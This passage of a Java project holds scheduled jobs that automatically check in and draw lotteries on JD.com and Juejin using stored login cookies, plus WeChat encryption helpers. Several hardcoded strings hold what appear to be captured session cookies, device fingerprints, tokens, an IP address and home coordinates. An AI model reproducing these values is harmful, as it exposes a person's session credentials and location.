34 | ToUserName = toUserName;
35 | }
36 |
37 | public String getAgentID() {
38 | return AgentID;
39 | }
40 |
41 | public void setAgentID(String agentID) {
42 | AgentID = agentID;
43 | }
44 |
45 | public String getEncrypt() {
46 | return Encrypt;
47 | }
48 |
49 | public void setEncrypt(String encrypt) {
50 | Encrypt = encrypt;
51 | }
52 | }
53 |
--------------------------------------------------------------------------------
/src/main/java/com/longbig/multifunction/job/JDBeanJob.java:
--------------------------------------------------------------------------------
1 | package com.longbig.multifunction.job;
2 |
3 | import com.alibaba.fastjson.JSON;
4 | import com.alibaba.fastjson.JSONObject;
5 | import com.google.common.collect.Lists;
6 | import com.google.common.collect.Maps;
7 | import com.longbig.multifunction.utils.FileUtils;
8 | import com.longbig.multifunction.utils.OkHttpUtils;
9 | import com.longbig.multifunction.utils.ResourceUtils;
10 | import lombok.extern.slf4j.Slf4j;
11 | import okhttp3.FormBody;
12 | import okhttp3.RequestBody;
13 | import org.springframework.beans.factory.annotation.Autowired;
14 | import org.springframework.beans.factory.annotation.Value;
15 | import org.springframework.scheduling.annotation.Scheduled;
16 | import org.springframework.stereotype.Component;
17 |
18 | import javax.annotation.PostConstruct;
19 | import java.io.IOException;
20 | import java.util.HashMap;
21 | import java.util.List;
22 | import java.util.Map;
23 |
24 | /**
25 | * @author yuyunlong
26 | * @date 2022/2/27 12:54 下午
27 | * @description
28 | */
29 | @Component
30 | @Slf4j
31 | public class JDBeanJob {
32 |
33 | // @Value("${jd.pt_key}")
34 | // private String pt_key;
35 | //
36 | // @Value("${jd.pt_pin}")
37 | // private String pt_pin;
38 | @Autowired
39 | private ResourceUtils resourceUtils;
40 | @Value("${jd.filePath}")
41 | private String filePath;
42 |
43 | @Value("${start.docker}")
44 | private Integer fromDocker;
45 |
46 | private List cookies;
47 |
48 | @PostConstruct
49 | public void init() {
50 | log.info("加载cookie到全局变量");
51 | cookies = Lists.newArrayList();
52 | List ptAlls = Lists.newArrayList();
53 | Boolean isFromDocker = fromDocker == 1 ? true : false;
54 | if (isFromDocker) {
55 | log.info("start from docker,filePath:{}", filePath);
56 | ptAlls = FileUtils.readFileToStringList(filePath);
57 | } else {
58 | log.info("start from java, filePath:{}", filePath);
59 | ptAlls = resourceUtils.readFromClassPath(filePath);
60 | }
61 | for (String ptAll : ptAlls) {
62 | String[] pts = ptAll.split(",");
63 | String pt_key1 = pts[0];
64 | String pt_pin1 = pts[1];
65 | String cookie = "__jd_ref_cls=JingDou_SceneHome_NewGuidExpo; mba_muid=1645885780097318205272.81.1645885790055; mba_sid=81.5; __jda=122270672.1645885780097318205272.1645885780.1645885780.1645885780.1; __jdb=122270672.1.1645885780097318205272|1.1645885780; __jdc=122270672; __jdv=122270672%7Ckong%7Ct_1000170135%7Ctuiguang%7Cnotset%7C1644027879157; pre_seq=0; pre_session=3acd1f6361f86fc0a1bc23971b2e7bbe6197afb6|143; unpl=JF8EAKZnNSttWRkDURtVThUWHAgEWw1dH0dXOjMMAFVcTQQAEwZORxR7XlVdXhRKFx9sZhRUX1NIVw4YBCsiEEpcV1ZVC0kVAV9XNVddaEpkBRwAExEZQ1lWW1kMTBcEaWcAUVpeS1c1KwUbGyB7bVFeXAlOFQJobwxkXGhJVQQZBR0UFU1bZBUzCQYXBG1vBl1VXElRAR8FGxUWS1hRWVsISCcBb2cHUm1b%7CV2_ZzNtbRYAFxd9DUNcKRxYB2ILGloRUUYcIVpAAHsbWQZjVBEJclRCFnUUR11nGlgUZgIZXkFcQRRFCEJkexhdB24LFFtEUHMQfQ5GXH0pXAQJbRZeLAcCVEULRmR6KV5VNVYSCkVVRBUiAUEDKRgMBTRREV9KUUNGdlxAByhNWwVvBUIKEVBzJXwJdlR6GF0GZAoUWUdRQCUpUBkCJE0ZWTVcIlxyVnMURUooDytAGlU1Vl9fEgUWFSIPRFN7TlUCMFETDUIEERZ3AEBUKBoIAzRQRlpCX0VFIltBZHopXA%253d%253d; " +
66 | "pt_key=" + pt_key1 +
67 | "; pt_pin=" + pt_pin1 +
68 | "; pwdt_id=jd_505bacd333f6b; sid=1b2c8b7ce820c4188f048e689bf58c8w; visitkey=36446698972455355";
69 | cookies.add(cookie);
70 | }
71 | log.info("cookies size:{}", cookies.size());
72 | }
73 |
74 | /**
75 | * 京东每日签到
76 | *
77 | * @return
78 | */
79 | @Scheduled(cron = "0 0 6 1/1 * ?")
80 | public String getJdSign() throws Exception {
81 | String url = "https://api.m.jd.com/client.action?functionId=signBeanAct&body=%7B%22fp%22%3A%22-1%22%2C%22shshshfp%22%3A%22-1%22%2C%22shshshfpa%22%3A%22-1%22%2C%22referUrl%22%3A%22-1%22%2C%22userAgent%22%3A%22-1%22%2C%22jda%22%3A%22-1%22%2C%22rnVersion%22%3A%223.9%22%7D&appid=ld&client=apple&clientVersion=10.0.4&networkType=wifi&osVersion=14.8.1&uuid=3acd1f6361f86fc0a1bc23971b2e7bbe6197afb6&openudid=3acd1f6361f86fc0a1bc23971b2e7bbe6197afb6&jsonp=jsonp_1645885800574_58482";
82 | String body = "{\"eid\":\"eidAb47c8121a5s24aIy0D0WQXSKdROGt9BUSeGiNEbMeQodwSwkLi6x5/GTFC7BV7lPMjljpMxVNCcAW/qdrQvDSdhaI5715Sui3MB7nluMccMWqWFL\",\"fp\":\"-1\",\"jda\":\"-1\",\"referUrl\":\"-1\",\"rnVersion\":\"4.7\",\"shshshfp\":\"-1\",\"shshshfpa\":\"-1\",\"userAgent\":\"-1\"}";
83 |
84 | int n = 0;
85 | Map header = Maps.newHashMap();
86 | RequestBody requestBody = new FormBody.Builder().add("body", body).build();
87 |
88 | for (String cookie : cookies) {
89 | String response = OkHttpUtils.post(url, cookie, requestBody, header);
90 | log.info("京东签到任务执行次数:{}, 结果:{}", ++n, response);
91 | Thread.sleep(1000L);
92 | }
93 | return "执行完成";
94 | }
95 |
96 | /**
97 | * 京东摇京豆签到
98 | *
99 | * @return
100 | */
101 | @Scheduled(cron = "0 0 7 1/1 * ?")
102 | public String getSharkBean() throws Exception {
103 | log.info("摇京豆签到开始");
104 | int n = 0;
105 | for (String cookie : cookies) {
106 | for (int i = 1; i < 8; i++) {
107 | String url = "https://api.m.jd.com/?appid=sharkBean&functionId=pg_interact_interface_invoke&body=%7B%22floorToken%22:%22f1d574ec-b1e9-43ba-aa84-b7a757f27f0e%22,%22dataSourceCode%22:%22signIn%22,%22argMap%22:%7B%22currSignCursor%22:" +
108 | i +
109 | "%7D,%22riskInformation%22:%7B%22platform%22:1,%22pageClickKey%22:%22%22,%22eid%22:%227IJ4SBWVAY6L5FOEQHCBZ57B3CYAYAA4LGJH2NGO6F6BE7PLEAJUY5WQOUI4BDGFRPH3RSGPLV5APHF4YV4DMJZ2UQ%22,%22fp%22:%22e0e4fadfadac7be71f89b78901f60fe4%22,%22shshshfp%22:%2298d7f7d062531be7af606b13b9c57a3e%22,%22shshshfpa%22:%222768c811-4a2f-1596-cf01-9d0cbd0319b9-1651280386%22,%22shshshfpb%22:%22iMZyawmZjTHrSJ72sZmuHog%22%7D%7D";
110 |
111 | // String cookie = "__jd_ref_cls=; mba_muid=16504967721461800060416.99.1651285154110; mba_sid=99.4; shshshfpa=2768c811-4a2f-1596-cf01-9d0cbd0319b9-1651280386; shshshfpb=iMZyawmZjTHrSJ72sZmuHog; 3AB9D23F7A4B3C9B=7IJ4SBWVAY6L5FOEQHCBZ57B3CYAYAA4LGJH2NGO6F6BE7PLEAJUY5WQOUI4BDGFRPH3RSGPLV5APHF4YV4DMJZ2UQ; _gia_s_e_joint={\"eid\":\"7IJ4SBWVAY6L5FOEQHCBZ57B3CYAYAA4LGJH2NGO6F6BE7PLEAJUY5WQOUI4BDGFRPH3RSGPLV5APHF4YV4DMJZ2UQ\",\"dt\":\"iPhone12,1\",\"ma\":\"\",\"im\":\"\",\"os\":\"iOS\",\"osv\":\"15.4.1\",\"ip\":\"120.244.234.209\",\"apid\":\"jdapp\",\"ia\":\"3B61EEC6-516C-4DA4-AF6C-E99F313C64D0\",\"uu\":\"\",\"cv\":\"10.0.4\",\"nt\":\"WIFI\",\"at\":\"1\"}; cid=8; shshshfp=dabca35fcbc92cb1d009acde19f60b81; shshshsID=6cd6fac4a28dea23e4e76cf97b9c6cf4_1_1651285134177; unpl=JF8EAKZnNSttWRkDURtVThUWHAgEWw1dH0dXOjMMAFVcTQQAEwZORxR7XlVdXhRKFx9sZhRUX1NIVw4YBCsiEEpcV1ZVC0kVAV9XNVddaEpkBRwAExEZQ1lWW1kMTBcEaWcAUVpeS1c1KwUbGyB7bVFeXAlOFQJobwxkXGhJVQQZBR0UFU1bZBUzCQYXBG1vBl1VXElRAR8FGxUWS1hRWVsISCcBb2cHUm1b%7CV2_ZzNtbRYAFxd9DUNcKRxYB2ILGloRUUYcIVpAAHsbWQZjVBEJclRCFnUUR11nGlgUZgIZXkFcQRRFCEJkexhdB24LFFtEUHMQfQ5GXH0pXAQJbRZeLAcCVEULRmR6KV5VNVYSCkVVRBUiAUEDKRgMBTRREV9KUUNGdlxAByhNWwVvBUIKEVBzJXwJdlR6GF0GZAoUWUdRQCUpUBkCJE0ZWTVcIlxyVnMURUooDytAGlU1Vl9fEgUWFSIPRFN7TlUCMFETDUIEERZ3AEBUKBoIAzRQRlpCX0VFIltBZHopXA%253d%253d; wxa_level=1; BATQW722QTLYVCRD={\"tk\":\"jdd014C2R445NQYRGM2X3QKQ7BOICIGKUL57ZGXLUETYHP6DPFMF3FC5FADWM5W3DOGWGEMFPMW3KGPGLDUNAB23DY5GEX3BCC4GPCJKUUJI01234567\",\"t\":1651285133703}; __jda=182444734.16504967721461800060416.1650496772.1651280279.1651285101.7; __jdb=182444734.2.16504967721461800060416|7.1651285101; __jdc=182444734; __jdv=182444734%7Cjdzt_refer_null%7Ct_232310336_1%7Cjzt-zhitou%7Cfiwrnksz5tchm01%7C1650496771000; _gia_s_local_fingerprint=e0e4fadfadac7be71f89b78901f60fe4; pre_seq=2; pre_session=3acd1f6361f86fc0a1bc23971b2e7bbe6197afb6|169; " +
112 | // "pt_key=" + pt_key +
113 | // "; " +
114 | // "pt_pin=" + pt_pin +
115 | // "; pwdt_id=jd_505bacd333f6b; sid=6ec7b9b0ff6956ee81461a9de14ae5bw; qd_fs=1651280528306; qd_ls=1651280528306; qd_sq=1; qd_ts=1651280528306; qd_uid=L2L5SI43-E24VE8SYB4FZVDYK53ZZ; qd_ad=-%7C-%7Cdirect%7C-%7C0; joyya=1651280501.0.32.0tuefmd; joyytokem=babel_23ebsEwajrvYj9qqsqhDJwZprQBoMDFuTUZPazk5MQ==.X3tzfllWfXJ2WFx0djENDRoNJF8dH3N3FV9hcGNaQnw4fRVfMy8CMRcsMSIxBBkOPTgkenQ8MQM4DiAMEA==.d806f45a; mobilev=touch; __jdu=16504967721461800060416; visitkey=36446698972455355";
116 | Map header = new HashMap<>();
117 | header.put("origin", "https://spa.jd.com");
118 | header.put("referer", "https://spa.jd.com/");
119 | RequestBody requestBody = new FormBody.Builder().build();
120 |
121 | String response = OkHttpUtils.post(url, cookie, requestBody, header);
122 | log.info("摇京豆执行{}次,response:{}", ++n, response);
123 | JSONObject object = JSON.parseObject(response);
124 | String success = object.getString("success");
125 | }
126 | }
127 | return "success";
128 | }
129 |
130 | /**
131 | * 京豆抽奖任务,抽奖获取的京豆随机
132 | *
133 | * @return
134 | */
135 | @Scheduled(cron = "0 0 8 1/1 * ?")
136 | public String getLottery() throws Exception {
137 | String url = "https://api.m.jd.com/client.action?functionId=babelGetLottery";
138 | // String cookie = "__jd_ref_cls=Babel_H5FirstClick; mba_muid=16504967721461800060416.100.1651305586474; mba_sid=100.3; shshshfp=98d7f7d062531be7af606b13b9c57a3e; shshshfpa=2768c811-4a2f-1596-cf01-9d0cbd0319b9-1651280386; shshshfpb=iMZyawmZjTHrSJ72sZmuHog; shshshsID=8d0fce7416ae29c7b63dfe7754b256f1_1_1651305586715; __jda=182444734.16504967721461800060416.1650496772.1651285101.1651305562.8; __jdb=182444734.2.16504967721461800060416|8.1651305562; __jdc=182444734; __jdv=182444734%7Cjdzt_refer_null%7Ct_232310336_1%7Cjzt-zhitou%7Cfiwrnksz5tchm01%7C1650496771000; joyya=1651305562.0.36.04twf37; pre_seq=1; pre_session=3acd1f6361f86fc0a1bc23971b2e7bbe6197afb6|171; unpl=JF8EAKZnNSttWRkDURtVThUWHAgEWw1dH0dXOjMMAFVcTQQAEwZORxR7XlVdXhRKFx9sZhRUX1NIVw4YBCsiEEpcV1ZVC0kVAV9XNVddaEpkBRwAExEZQ1lWW1kMTBcEaWcAUVpeS1c1KwUbGyB7bVFeXAlOFQJobwxkXGhJVQQZBR0UFU1bZBUzCQYXBG1vBl1VXElRAR8FGxUWS1hRWVsISCcBb2cHUm1b%7CV2_ZzNtbRYAFxd9DUNcKRxYB2ILGloRUUYcIVpAAHsbWQZjVBEJclRCFnUUR11nGlgUZgIZXkFcQRRFCEJkexhdB24LFFtEUHMQfQ5GXH0pXAQJbRZeLAcCVEULRmR6KV5VNVYSCkVVRBUiAUEDKRgMBTRREV9KUUNGdlxAByhNWwVvBUIKEVBzJXwJdlR6GF0GZAoUWUdRQCUpUBkCJE0ZWTVcIlxyVnMURUooDytAGlU1Vl9fEgUWFSIPRFN7TlUCMFETDUIEERZ3AEBUKBoIAzRQRlpCX0VFIltBZHopXA%253d%253d; 3AB9D23F7A4B3C9B=7IJ4SBWVAY6L5FOEQHCBZ57B3CYAYAA4LGJH2NGO6F6BE7PLEAJUY5WQOUI4BDGFRPH3RSGPLV5APHF4YV4DMJZ2UQ; _gia_s_e_joint={\"eid\":\"7IJ4SBWVAY6L5FOEQHCBZ57B3CYAYAA4LGJH2NGO6F6BE7PLEAJUY5WQOUI4BDGFRPH3RSGPLV5APHF4YV4DMJZ2UQ\",\"dt\":\"iPhone12,1\",\"ma\":\"\",\"im\":\"\",\"os\":\"iOS\",\"osv\":\"15.4.1\",\"ip\":\"120.244.234.209\",\"apid\":\"jdapp\",\"ia\":\"3B61EEC6-516C-4DA4-AF6C-E99F313C64D0\",\"uu\":\"\",\"cv\":\"10.0.4\",\"nt\":\"WIFI\",\"at\":\"1\"}; cid=8; wxa_level=1; BATQW722QTLYVCRD={\"tk\":\"jdd014C2R445NQYRGM2X3QKQ7BOICIGKUL57ZGXLUETYHP6DPFMF3FC5FADWM5W3DOGWGEMFPMW3KGPGLDUNAB23DY5GEX3BCC4GPCJKUUJI01234567\",\"t\":1651285133703}; _gia_s_local_fingerprint=e0e4fadfadac7be71f89b78901f60fe4; " +
139 | // "pt_key=" + pt_key +
140 | // "; pt_pin=" + pt_pin +
141 | // "; pwdt_id=jd_505bacd333f6b; sid=6ec7b9b0ff6956ee81461a9de14ae5bw; qd_fs=1651280528306; qd_ls=1651280528306; qd_sq=1; qd_ts=1651280528306; qd_uid=L2L5SI43-E24VE8SYB4FZVDYK53ZZ; qd_ad=-%7C-%7Cdirect%7C-%7C0; mobilev=touch; __jdu=16504967721461800060416; visitkey=36446698972455355";
142 | String body = "{\"enAwardK\":\"ltvTJ/WYFPZcuWIWHCAjRz/NdrezuUkm8ZIGKKD06/oaqi8FPY5ILISE5QLULmK6RUnNSgnFndqy\\ny4p8d6/bK/bwdZK6Aw80mPSE7ShF/0r28HWSugMPNPm5JQ8b9nflgkMfDwDJiaqThDW7a9IYpL8z\\n7mu4l56kMNsaMgLecghsgTYjv+RZ8bosQ6kKx+PNAP61OWarrOeJ2rhtFmhQncw6DQFeBryeMUM1\\nw9SpK5iag4uLvHGIZstZMKOALjB/r9TIJDYxHs/sFMU4vtb2jX9DEwleHSLTLeRpLM1w+RakAk8s\\nfC4gHoKM/1zPHJXq1xfwXKFh5wKt4jr5hEqddxiI8N28vWT05HuOdPqtP+0EbGMDdSPdisoPmlru\\n+CyHR5Kt0js9JUM=_babel\",\"awardSource\":\"1\",\"srv\":\"{\\\"bord\\\":\\\"0\\\",\\\"fno\\\":\\\"0-0-2\\\",\\\"mid\\\":\\\"70952802\\\",\\\"bi2\\\":\\\"2\\\",\\\"bid\\\":\\\"0\\\",\\\"aid\\\":\\\"01155413\\\"}\",\"encryptProjectId\":\"3u4fVy1c75fAdDN6XRYDzAbkXz1E\",\"encryptAssignmentId\":\"2x5WEhFsDhmf8JohWQJFYfURTh9w\",\"authType\":\"2\",\"riskParam\":{\"platform\":\"3\",\"orgType\":\"2\",\"openId\":\"-1\",\"pageClickKey\":\"Babel_WheelSurf\",\"eid\":\"eidI69b381246dseNGdrD6vtTrOauSQ/zRycuDRnbInWZmVfFbyoI59uVkzYYiQZrUGzGkpqNpHHJHv37CthY6ooTnYpqX2mBZ2riJHvc8c9kta1QpZh\",\"fp\":\"-1\",\"shshshfp\":\"98d7f7d062531be7af606b13b9c57a3e\",\"shshshfpa\":\"2768c811-4a2f-1596-cf01-9d0cbd0319b9-1651280386\",\"shshshfpb\":\"iMZyawmZjTHrSJ72sZmuHog\",\"childActivityUrl\":\"https%3A%2F%2Fpro.m.jd.com%2Fmall%2Factive%2F2xoBJwC5D1Q3okksMUFHcJQhFq8j%2Findex.html%3Ftttparams%3DjyJinIeyJnTG5nIjoiMTE2LjQwNjQ1IiwiZ0xhdCI6IjQwLjA2MjkxIn60%253D%26un_area%3D1_2901_55565_0%26lng%3D116.4065317104862%26lat%3D40.06278498159455\",\"userArea\":\"-1\",\"client\":\"\",\"clientVersion\":\"\",\"uuid\":\"\",\"osVersion\":\"\",\"brand\":\"\",\"model\":\"\",\"networkType\":\"\",\"jda\":\"-1\"},\"siteClient\":\"apple\",\"mitemAddrId\":\"\",\"geo\":{\"lng\":\"116.4065317104862\",\"lat\":\"40.06278498159455\"},\"addressId\":\"5777681655\",\"posLng\":\"\",\"posLat\":\"\",\"homeLng\":\"116.40645\",\"homeLat\":\"40.06291\",\"focus\":\"\",\"innerAnchor\":\"\",\"cv\":\"2.0\"}";
143 |
144 | log.info("抽京豆开始");
145 | Map header = Maps.newHashMap();
146 | header.put("origin", "https://pro.m.jd.com");
147 | header.put("referer", "https://pro.m.jd.com/");
148 |
149 | RequestBody requestBody = new FormBody.Builder()
150 | .add("body", body)
151 | .add("client", "wh5")
152 | .add("clientVersion", "1.0.0")
153 | .build();
154 | int n = 0;
155 | for (String cookie : cookies) {
156 | String response = OkHttpUtils.post(url, cookie, requestBody, header);
157 | log.info("抽京豆执行{}次,response:{}", ++n, response);
158 | Thread.sleep(1000L);
159 |
160 | }
161 | return "success";
162 |
163 | }
164 |
165 | /**
166 | * 京东plus会员签到
167 | *
168 | * @return
169 | * @throws IOException
170 | */
171 | @Scheduled(cron = "0 0 9 1/1 * ?")
172 | public String plusSign() throws Exception {
173 | // String cookie = "__jda=76161171.16512799826871486287173.1651279983.1651279983.1651279983.1; __jdc=76161171; __jdv=76161171|direct|-|none|-|1651279982687; __jdu=16512799826871486287173; areaId=1; ipLoc-djd=1-2802-0-0; PCSYCityID=CN_110000_110100_0; wxa_level=1; retina=1; jxsid=16512799876625643916; appCode=ms0ca95114; webp=1; mba_muid=16512799826871486287173; visitkey=142671134079494; sc_width=400; shshshfpa=7884f666-91a4-18a7-6fc9-b12b754ab327-1651280152; shshshfpb=oMiLjed03uL_RaQJxnJwqgQ; 3AB9D23F7A4B3C9B=IWPBYOW5BK53ZLQPLF3CODUTXGQNHUVF3BQW6YTGDSV5ZOH6Y5ND4NBV4DVFQYIT5LPVBNERC4JNL5JNDY5NOLYNHM; jcap_dvzw_fp=aS2oEeOT_LYmDdwn2ArUVyeat2PTKF8FKITMPZJzvUoAqnrPN-kKfnxf9N3AH3UREZYULA==; whwswswws=; TrackerID=-C9xSqVf4X7KepU2UMaDdRvT1FY2XfKJDFHViqXn7UimMcCiv6h63uOAg0YqeErmaR0QrqVqiwlJ3YujRjnckKaIC-J1tf_TDucPtCqABwzoZpIYinQT2BAeZ89lHSH6ieZFel8nMo15Qj3avkykbg; " +
174 | // "pt_key=" + pt_key +
175 | // "; pt_pin=" + pt_pin +
176 | // "; pt_token=dpd4uwmi; pwdt_id=%E9%BE%99%E6%88%98%E5%A3%AB520; sfstoken=tk01mdf701d1ca8sMisxKzN4MXgxGnMwyo0N/0U9alRF28hqmrssFFQh4QpqxRmjW+qPRNtacKlPqQjluHBa8vzB4/X2; autoOpenApp_downCloseDate_auto=1651280224263_1800000; equipmentId=IWPBYOW5BK53ZLQPLF3CODUTXGQNHUVF3BQW6YTGDSV5ZOH6Y5ND4NBV4DVFQYIT5LPVBNERC4JNL5JNDY5NOLYNHM; fingerprint=69738c14bb2a81939b5f018f509895a0; deviceVersion=100.0.4896.127; deviceOS=android; deviceOSVersion=6.0; deviceName=Chrome; wq_area=1_2802_0%7C1; cid=9; PPRD_P=UUID.16512799826871486287173-LOGID.1651280432023.772488001; sbx_hot_h=null; _gia_s_local_fingerprint=23c9371ecbeadbaa4231b9ba8f4a958b; __wga=1651280643494.1651280032643.1651280032643.1651280032643.13.1; jxsid_s_t=1651280643548; jxsid_s_u=https%3A//m.jd.com/portal/app_center.shtml; wqmnx1=MDEyNjM4MXQuP2xkOTZwczQxOWFpZDAgLyBiLk0gQzA2YmEzcmQyNE9JSEg%3D; autoOpenApp_downCloseDate_jd_homePage=1651280864563_1; plusCustomBuryPointToken=1651280914605_4020; __jdb=76161171.45.16512799826871486287173|1.1651279983; mba_sid=16512799879876217710087685309.44; shshshfp=a5de4b4af7a07ee5043c70faf357ca81; shshshsID=788f41f9898fe85b37980918e5860c5f_14_1651280943415; joyytokem=babel_3joSPpr7RgdHMbcuqoRQ8HbcPo9UMDFGRlluRzk5MQ==.d3BsX3V+dmBadHV2bxBxf3NgXyYAczZfOXdqb0J2ancnXDl3ODYjLgosPAp3dTMVMRUnFxMWKQwxKAkWOA==.6aac9775; _gia_s_e_joint={\"eid\":\"IWPBYOW5BK53ZLQPLF3CODUTXGQNHUVF3BQW6YTGDSV5ZOH6Y5ND4NBV4DVFQYIT5LPVBNERC4JNL5JNDY5NOLYNHM\",\"ma\":\"\",\"im\":\"\",\"os\":\"Android 6.x\",\"ip\":\"120.244.234.209\",\"ia\":\"\",\"uu\":\"\",\"at\":\"6\"}; __jd_ref_cls=Babel_dev_other_sign; joyya=1651280943.1651280955.54.0zl3krs";
177 | String url = "https://api.m.jd.com/client.action?functionId=doInteractiveAssignment";
178 | String body = "{\"sourceCode\":\"acetttsign\",\"encryptProjectId\":\"3FCTNcsr7BoQUw7dx1h3KJ9Hi9yJ\",\"encryptAssignmentId\":\"3o2cWjTjZoCjKJcQwQ2bFgLkTnZC\",\"completionFlag\":true,\"itemId\":\"1\",\"extParam\":{\"forceBot\":\"1\",\"businessData\":{\"random\":\"LLSuE5uy\"},\"signStr\":\"1651280954835~1OgLu20Tq0QMDFGRlluRzk5MQ==.d3BsX3V+dmBadHV2bxBxf3NgXyYAczZfOXdqb0J2ancnXDl3ODYjLgosPAp3dTMVMRUnFxMWKQwxKAkWOA==.6aac9775~1,1~18BD8887199573132F7270C7423274FE2B819200~1yxx4at~C~TRNMWhYJbWwUFUBdWxMCbBZXAxx6eRhydB0BBGYfBx8IBwQfQhMUFVAEG3N2G3VxGggOfhgCGAEIBxhHFGwUFVNBWBMCBhgRRUIaDRYCAAQJBQwDDwULBwMLDwMAAxYfFEZdUxYJFEVMQ0BHUEReFRgRQVRZFQ4RUFdMQ0FHQ1AaGxZDUl8aDW8ABB0JDgMfBwIUDhgCAx0JahgRXFsaDQUfFFJLFQ4RUwkOBVYHVwMMBABRUAIODlBRV1QMAgIBAwELBARRAVAaGxZdRhMCFXlSVXhWQ1FfFB0aQxYJBwcNBgYLBggNAwwAAx0aXV8RDBNZFRgRUEFaFQ4RWXxRe15WUgELQnhsZFBpfUxdfEZJUGURGhNWQRYJFHZXWFNfUxFxWVcdFB0aWVVFFAsaVBYfFEJbRRYJbQkKDhgGBgFlGxZBWRMCbBZSFB0aVhYfFFAaGxZSFB0aVhYfFFAaGxZSFGwUFV1cVxMCFVJVUFdeUUBHFB0aVl4RDBNNFRgRVVgaDRZEBR8NGQYRGhNbUWtFFAsaDg0RGhNaUxYJFENZWVBcWwx0e2dGcwRNThYfFFxSFQ5oBx0IGwRuGhNaW1tUFAsaVhYfFFxLUBYJFFAaSg==~1cs6hu7\",\"sceneid\":\"babel_3joSPpr7RgdHMbcuqoRQ8HbcPo9U\"},\"activity_id\":\"3joSPpr7RgdHMbcuqoRQ8HbcPo9U\",\"template_id\":\"00019605\",\"floor_id\":\"75471325\",\"enc\":\"A4737E261D02E91C30C566C1C671734D124B75F8759F591EFAFB127342C10708BAA7D80C309F2B17973BB15312D14004B865E9A1F04C7C3E3E312AA7309E7B31\"}";
179 | log.info("京东plus会员签到开始");
180 | Map header = Maps.newHashMap();
181 | header.put("origin", "https://pro.m.jd.com");
182 | header.put("referer", "https://pro.m.jd.com/");
183 |
184 | RequestBody requestBody = new FormBody.Builder()
185 | .add("body", body)
186 | .add("appid", "babelh5")
187 | .add("sign", "11")
188 | .build();
189 | int n = 0;
190 | for (String cookie : cookies) {
191 | String response = OkHttpUtils.post(url, cookie, requestBody, header);
192 | log.info("京东plus会员签到执行{}次,response:{}", ++n, response);
193 | Thread.sleep(1000L);
194 | }
195 |
196 | return "success";
197 | }
198 | }
199 |
--------------------------------------------------------------------------------
/src/main/java/com/longbig/multifunction/job/JuejinJob.java:
--------------------------------------------------------------------------------
1 | package com.longbig.multifunction.job;
2 |
3 | import com.google.common.collect.Maps;
4 | import com.longbig.multifunction.utils.OkHttpUtils;
5 | import lombok.extern.slf4j.Slf4j;
6 | import okhttp3.FormBody;
7 | import okhttp3.RequestBody;
8 | import org.springframework.beans.factory.annotation.Value;
9 | import org.springframework.scheduling.annotation.Scheduled;
10 | import org.springframework.stereotype.Component;
11 |
12 | import java.util.Map;
13 |
14 | /**
15 | * @author yuyunlong
16 | * @date 2022/9/4 4:34 下午
17 | * @description
18 | */
19 | @Slf4j
20 | @Component
21 | public class JuejinJob {
22 |
23 | @Value("${juejin.Cookie}")
24 | private String juejinCookie;
25 |
26 | /**
27 | * 掘金自动签到
28 | *
29 | * @return
30 | */
31 | @Scheduled(cron = "0 0 9 1/1 * ?")
32 | public String juejinSign() throws Exception {
33 | log.info("掘金自动签到开始");
34 | Map header = Maps.newHashMap();
35 | String url = "https://api.juejin.cn/growth_api/v1/check_in";
36 | String juejinCookie = "你的cookie";
37 | RequestBody requestBody = new FormBody.Builder().build();
38 | String response = OkHttpUtils.post(url, juejinCookie, requestBody, header);
39 |
40 | return response;
41 | }
42 |
43 | /**
44 | * 掘金自动抽奖
45 | *
46 | * @return
47 | */
48 | @Scheduled(cron = "0 0 9 1/1 * ?")
49 | public String juejinDraw() throws Exception {
50 | log.info("掘金自动抽奖开始");
51 | Map header = Maps.newHashMap();
52 | String drawUrl = "https://api.juejin.cn/growth_api/v1/lottery/draw";
53 | String juejinCookie = "你的cookie";
54 | RequestBody requestBody = new FormBody.Builder().build();
55 | String response = OkHttpUtils.post(drawUrl, juejinCookie, requestBody, header);
56 | return response;
57 | }
58 | }
59 |
--------------------------------------------------------------------------------
/src/main/java/com/longbig/multifunction/model/chatgpt/GptMessageDto.java:
--------------------------------------------------------------------------------
1 | package com.longbig.multifunction.model.chatgpt;
2 |
3 | import lombok.ToString;
4 |
5 | /**
6 | * @author yuyunlong
7 | * @date 2023/3/4 20:47
8 | * @description
9 | */
10 | @ToString
11 | public class GptMessageDto {
12 | private String role;
13 | private String content;
14 |
15 | public String getRole() {
16 | return role;
17 | }
18 |
19 | public void setRole(String role) {
20 | this.role = role;
21 | }
22 |
23 | public String getContent() {
24 | return content;
25 | }
26 |
27 | public void setContent(String content) {
28 | this.content = content;
29 | }
30 | }
31 |
--------------------------------------------------------------------------------
/src/main/java/com/longbig/multifunction/model/wechat/aes/AesException.java:
--------------------------------------------------------------------------------
1 | package com.longbig.multifunction.model.wechat.aes;
2 |
3 | //@SuppressWarnings("serial")
4 | public class AesException extends Exception {
5 |
6 | public final static int OK = 0;
7 | public final static int ValidateSignatureError = -40001;
8 | public final static int ParseXmlError = -40002;
9 | public final static int ComputeSignatureError = -40003;
10 | public final static int IllegalAesKey = -40004;
11 | public final static int ValidateCorpidError = -40005;
12 | public final static int EncryptAESError = -40006;
13 | public final static int DecryptAESError = -40007;
14 | public final static int IllegalBuffer = -40008;
15 | //public final static int EncodeBase64Error = -40009;
16 | //public final static int DecodeBase64Error = -40010;
17 | //public final static int GenReturnXmlError = -40011;
18 |
19 | private int code;
20 |
21 | private static String getMessage(int code) {
22 | switch (code) {
23 | case ValidateSignatureError:
24 | return "签名验证错误";
25 | case ParseXmlError:
26 | return "xml解析失败";
27 | case ComputeSignatureError:
28 | return "sha加密生成签名失败";
29 | case IllegalAesKey:
30 | return "SymmetricKey非法";
31 | case ValidateCorpidError:
32 | return "corpid校验失败";
33 | case EncryptAESError:
34 | return "aes加密失败";
35 | case DecryptAESError:
36 | return "aes解密失败";
37 | case IllegalBuffer:
38 | return "解密后得到的buffer非法";
39 | // case EncodeBase64Error:
40 | // return "base64加密错误";
41 | // case DecodeBase64Error:
42 | // return "base64解密错误";
43 | // case GenReturnXmlError:
44 | // return "xml生成失败";
45 | default:
46 | return null; // cannot be
47 | }
48 | }
49 |
50 | public int getCode() {
51 | return code;
52 | }
53 |
54 | AesException(int code) {
55 | super(getMessage(code));
56 | this.code = code;
57 | }
58 |
59 | }
60 |
--------------------------------------------------------------------------------
/src/main/java/com/longbig/multifunction/model/wechat/aes/ByteGroup.java:
--------------------------------------------------------------------------------
1 | package com.longbig.multifunction.model.wechat.aes;
2 |
3 | import java.util.ArrayList;
4 |
5 | public class ByteGroup {
6 | ArrayList byteContainer = new ArrayList();
7 |
8 | public byte[] toBytes() {
